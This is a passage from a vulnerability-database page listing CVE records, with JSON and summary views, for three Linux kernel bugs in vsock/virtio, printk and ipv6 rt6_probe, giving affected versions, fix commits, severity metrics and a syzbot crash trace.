Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21669",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:52:17.860929Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:57:12.459Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:58:50.209Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:09.412Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/vmw_vsock/virtio_transport_common.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "18a7fc371d1dbf8deff16c2dd9292bcc73f43040",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "6486915fa661584d70e8e7e4068c6c075c67dd6d",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "88244163bc7e7b0ce9dd7bf4c8a563b41525c3ee",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "d88b249e14bd0ee1e46bbe4f456e22e01b8c68de",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "677579b641af109613564460a4e3bdcb16850b61",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "2cb7c756f605ec02ffe562fb26828e4bcc5fdfc1",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/vmw_vsock/virtio_transport_common.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.127",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.74",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.127",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.74",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.11",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvsock/virtio: discard packets if the transport changes\n\nIf the socket has been de-assigned or assigned to another transport,\nwe must discard any packets received because they are not expected\nand would cause issues when we access vsk-\u003etransport.\n\nA possible scenario is described by Hyunwoo Kim in the attached link,\nwhere after a first connect() interrupted by a signal, and a second\nconnect() failed, we can find `vsk-\u003etransport` at NULL, leading to a\nNULL pointer dereference."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:04:09.225Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/18a7fc371d1dbf8deff16c2dd9292bcc73f43040"
        },
        {
          "url": "https://git.kernel.org/stable/c/6486915fa661584d70e8e7e4068c6c075c67dd6d"
        },
        {
          "url": "https://git.kernel.org/stable/c/88244163bc7e7b0ce9dd7bf4c8a563b41525c3ee"
        },
        {
          "url": "https://git.kernel.org/stable/c/d88b249e14bd0ee1e46bbe4f456e22e01b8c68de"
        },
        {
          "url": "https://git.kernel.org/stable/c/677579b641af109613564460a4e3bdcb16850b61"
        },
        {
          "url": "https://git.kernel.org/stable/c/2cb7c756f605ec02ffe562fb26828e4bcc5fdfc1"
        }
      ],
      "title": "vsock/virtio: discard packets if the transport changes",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21669",
    "datePublished": "2025-01-31T11:25:33.185Z",
    "dateReserved": "2024-12-29T08:45:45.735Z",
    "dateUpdated": "2026-05-12T12:03:09.412Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-58017 (GCVE-0-2024-58017)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:12 – Updated: 2026-05-12 12:01

Title

printk: Fix signed integer overflow when defining LOG_BUF_LEN_MAX

Summary

In the Linux kernel, the following vulnerability has been resolved: printk: Fix signed integer overflow when defining LOG_BUF_LEN_MAX Shifting 1 << 31 on a 32-bit int causes signed integer overflow, which leads to undefined behavior. To prevent this, cast 1 to u32 before performing the shift, ensuring well-defined behavior. This change explicitly avoids any potential overflow by ensuring that the shift occurs on an unsigned 32-bit integer.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/54c14022fa2ba427d…
https://git.kernel.org/stable/c/dfb7b179741ee0950…
https://git.kernel.org/stable/c/bb8ff054e19fe27f4…
https://git.kernel.org/stable/c/9a6d43844de2479a3…
https://git.kernel.org/stable/c/4acf6bab775dbd22a…
https://git.kernel.org/stable/c/404e5fd918a0b14ab…
https://git.kernel.org/stable/c/4a2c4e7265b8eed83…
https://git.kernel.org/stable/c/3d6f83df8ff2d5de8…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e , < 54c14022fa2ba427dc543455c2cf9225903a7174 (git) Affected: e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e , < dfb7b179741ee09506dc7719d92f9e1cea01f10e (git) Affected: e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e , < bb8ff054e19fe27f4e5eaac1b05e462894cfe9b1 (git) Affected: e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e , < 9a6d43844de2479a3ff8d674c3e2a16172e01598 (git) Affected: e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e , < 4acf6bab775dbd22a9a799030a808a7305e01d63 (git) Affected: e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e , < 404e5fd918a0b14abec06c7eca128f04c9b98e41 (git) Affected: e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e , < 4a2c4e7265b8eed83c25d86d702cea06493cab18 (git) Affected: e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e , < 3d6f83df8ff2d5de84b50377e4f0d45e25311c7a (git) Affected: 55b2c1ccb82143be1ed9e1922976dbe63917fe68 (git) Affected: 089d475a4cdb5848998b3cb37e545413ed054784 (git) Affected: 695583334b6b7f82c39ee124edfbfa48145ed571 (git) Affected: 3404019d6d0f4c0108b77d44e97e2e39ca937e6f (git)
Linux	Linux	Affected: 4.20 Unaffected: 0 , < 4.20 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.78 , ≤ 6.6.* (semver) Unaffected: 6.12.14 , ≤ 6.12.* (semver) Unaffected: 6.13.3 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:33:36.689Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:54.729Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/printk/printk.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "54c14022fa2ba427dc543455c2cf9225903a7174",
              "status": "affected",
              "version": "e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e",
              "versionType": "git"
            },
            {
              "lessThan": "dfb7b179741ee09506dc7719d92f9e1cea01f10e",
              "status": "affected",
              "version": "e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e",
              "versionType": "git"
            },
            {
              "lessThan": "bb8ff054e19fe27f4e5eaac1b05e462894cfe9b1",
              "status": "affected",
              "version": "e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e",
              "versionType": "git"
            },
            {
              "lessThan": "9a6d43844de2479a3ff8d674c3e2a16172e01598",
              "status": "affected",
              "version": "e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e",
              "versionType": "git"
            },
            {
              "lessThan": "4acf6bab775dbd22a9a799030a808a7305e01d63",
              "status": "affected",
              "version": "e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e",
              "versionType": "git"
            },
            {
              "lessThan": "404e5fd918a0b14abec06c7eca128f04c9b98e41",
              "status": "affected",
              "version": "e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e",
              "versionType": "git"
            },
            {
              "lessThan": "4a2c4e7265b8eed83c25d86d702cea06493cab18",
              "status": "affected",
              "version": "e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e",
              "versionType": "git"
            },
            {
              "lessThan": "3d6f83df8ff2d5de84b50377e4f0d45e25311c7a",
              "status": "affected",
              "version": "e6fe3e5b7d16e8f146a4ae7fe481bc6e97acde1e",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "55b2c1ccb82143be1ed9e1922976dbe63917fe68",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "089d475a4cdb5848998b3cb37e545413ed054784",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "695583334b6b7f82c39ee124edfbfa48145ed571",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "3404019d6d0f4c0108b77d44e97e2e39ca937e6f",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/printk/printk.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.20"
            },
            {
              "lessThan": "4.20",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.78",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.78",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.14",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.3",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.4.203",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.203",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.156",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.19.86",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nprintk: Fix signed integer overflow when defining LOG_BUF_LEN_MAX\n\nShifting 1 \u003c\u003c 31 on a 32-bit int causes signed integer overflow, which\nleads to undefined behavior. To prevent this, cast 1 to u32 before\nperforming the shift, ensuring well-defined behavior.\n\nThis change explicitly avoids any potential overflow by ensuring that\nthe shift occurs on an unsigned 32-bit integer."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:02:11.348Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/54c14022fa2ba427dc543455c2cf9225903a7174"
        },
        {
          "url": "https://git.kernel.org/stable/c/dfb7b179741ee09506dc7719d92f9e1cea01f10e"
        },
        {
          "url": "https://git.kernel.org/stable/c/bb8ff054e19fe27f4e5eaac1b05e462894cfe9b1"
        },
        {
          "url": "https://git.kernel.org/stable/c/9a6d43844de2479a3ff8d674c3e2a16172e01598"
        },
        {
          "url": "https://git.kernel.org/stable/c/4acf6bab775dbd22a9a799030a808a7305e01d63"
        },
        {
          "url": "https://git.kernel.org/stable/c/404e5fd918a0b14abec06c7eca128f04c9b98e41"
        },
        {
          "url": "https://git.kernel.org/stable/c/4a2c4e7265b8eed83c25d86d702cea06493cab18"
        },
        {
          "url": "https://git.kernel.org/stable/c/3d6f83df8ff2d5de84b50377e4f0d45e25311c7a"
        }
      ],
      "title": "printk: Fix signed integer overflow when defining LOG_BUF_LEN_MAX",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-58017",
    "datePublished": "2025-02-27T02:12:09.075Z",
    "dateReserved": "2025-02-27T02:10:48.228Z",
    "dateUpdated": "2026-05-12T12:01:54.729Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40960 (GCVE-0-2024-40960)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:32 – Updated: 2026-05-12 11:55

Title

ipv6: prevent possible NULL dereference in rt6_probe()

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: prevent possible NULL dereference in rt6_probe() syzbot caught a NULL dereference in rt6_probe() [1] Bail out if __in6_dev_get() returns NULL. [1] Oops: general protection fault, probably for non-canonical address 0xdffffc00000000cb: 0000 [#1] PREEMPT SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000658-0x000000000000065f] CPU: 1 PID: 22444 Comm: syz-executor.0 Not tainted 6.10.0-rc2-syzkaller-00383-gb8481381d4e2 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024 RIP: 0010:rt6_probe net/ipv6/route.c:656 [inline] RIP: 0010:find_match+0x8c4/0xf50 net/ipv6/route.c:758 Code: 14 fd f7 48 8b 85 38 ff ff ff 48 c7 45 b0 00 00 00 00 48 8d b8 5c 06 00 00 48 b8 00 00 00 00 00 fc ff df 48 89 fa 48 c1 ea 03 <0f> b6 14 02 48 89 f8 83 e0 07 83 c0 03 38 d0 7c 08 84 d2 0f 85 19 RSP: 0018:ffffc900034af070 EFLAGS: 00010203 RAX: dffffc0000000000 RBX: 0000000000000000 RCX: ffffc90004521000 RDX: 00000000000000cb RSI: ffffffff8990d0cd RDI: 000000000000065c RBP: ffffc900034af150 R08: 0000000000000005 R09: 0000000000000000 R10: 0000000000000001 R11: 0000000000000002 R12: 000000000000000a R13: 1ffff92000695e18 R14: ffff8880244a1d20 R15: 0000000000000000 FS: 00007f4844a5a6c0(0000) GS:ffff8880b9300000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000001b31b27000 CR3: 000000002d42c000 CR4: 00000000003506f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> rt6_nh_find_match+0xfa/0x1a0 net/ipv6/route.c:784 nexthop_for_each_fib6_nh+0x26d/0x4a0 net/ipv4/nexthop.c:1496 __find_rr_leaf+0x6e7/0xe00 net/ipv6/route.c:825 find_rr_leaf net/ipv6/route.c:853 [inline] rt6_select net/ipv6/route.c:897 [inline] fib6_table_lookup+0x57e/0xa30 net/ipv6/route.c:2195 ip6_pol_route+0x1cd/0x1150 net/ipv6/route.c:2231 pol_lookup_func include/net/ip6_fib.h:616 [inline] fib6_rule_lookup+0x386/0x720 net/ipv6/fib6_rules.c:121 ip6_route_output_flags_noref net/ipv6/route.c:2639 [inline] ip6_route_output_flags+0x1d0/0x640 net/ipv6/route.c:2651 ip6_dst_lookup_tail.constprop.0+0x961/0x1760 net/ipv6/ip6_output.c:1147 ip6_dst_lookup_flow+0x99/0x1d0 net/ipv6/ip6_output.c:1250 rawv6_sendmsg+0xdab/0x4340 net/ipv6/raw.c:898 inet_sendmsg+0x119/0x140 net/ipv4/af_inet.c:853 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg net/socket.c:745 [inline] sock_write_iter+0x4b8/0x5c0 net/socket.c:1160 new_sync_write fs/read_write.c:497 [inline] vfs_write+0x6b6/0x1140 fs/read_write.c:590 ksys_write+0x1f8/0x260 fs/read_write.c:643 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcd/0x250 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/f0cda984e4e634b22…
https://git.kernel.org/stable/c/d66fc4826127c82f9…
https://git.kernel.org/stable/c/1ed9849fdf9a1a617…
https://git.kernel.org/stable/c/569c9d9ea6648d099…
https://git.kernel.org/stable/c/51ee2f7c30790799d…
https://git.kernel.org/stable/c/73e7c8ca6ad76f29b…
https://git.kernel.org/stable/c/6eed6d3cd19ff3cfa…
https://git.kernel.org/stable/c/b86762dbe19a62e78…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 52e1635631b342803aecaf81a362c1464e3da2e5 , < f0cda984e4e634b221dbf9642b8ecc5b4806b41e (git) Affected: 52e1635631b342803aecaf81a362c1464e3da2e5 , < d66fc4826127c82f99c4033380f8e93833d331c7 (git) Affected: 52e1635631b342803aecaf81a362c1464e3da2e5 , < 1ed9849fdf9a1a617129346b11d2094ca26828dc (git) Affected: 52e1635631b342803aecaf81a362c1464e3da2e5 , < 569c9d9ea6648d099187527b93982f406ddcebc0 (git) Affected: 52e1635631b342803aecaf81a362c1464e3da2e5 , < 51ee2f7c30790799d0ec30c0ce0c743e58f046f2 (git) Affected: 52e1635631b342803aecaf81a362c1464e3da2e5 , < 73e7c8ca6ad76f29b2c99c20845a6f3b203ff0c6 (git) Affected: 52e1635631b342803aecaf81a362c1464e3da2e5 , < 6eed6d3cd19ff3cfa83aeceed86da14abaf7417b (git) Affected: 52e1635631b342803aecaf81a362c1464e3da2e5 , < b86762dbe19a62e785c189f313cda5b989931f37 (git)
Linux	Linux	Affected: 2.6.17 Unaffected: 0 , < 2.6.17 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:25.917Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f0cda984e4e634b221dbf9642b8ecc5b4806b41e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d66fc4826127c82f99c4033380f8e93833d331c7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1ed9849fdf9a1a617129346b11d2094ca26828dc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/569c9d9ea6648d099187527b93982f406ddcebc0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/51ee2f7c30790799d0ec30c0ce0c743e58f046f2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/73e7c8ca6ad76f29b2c99c20845a6f3b203ff0c6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6eed6d3cd19ff3cfa83aeceed86da14abaf7417b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b86762dbe19a62e785c189f313cda5b989931f37"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40960",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:03:29.403653Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:23.694Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
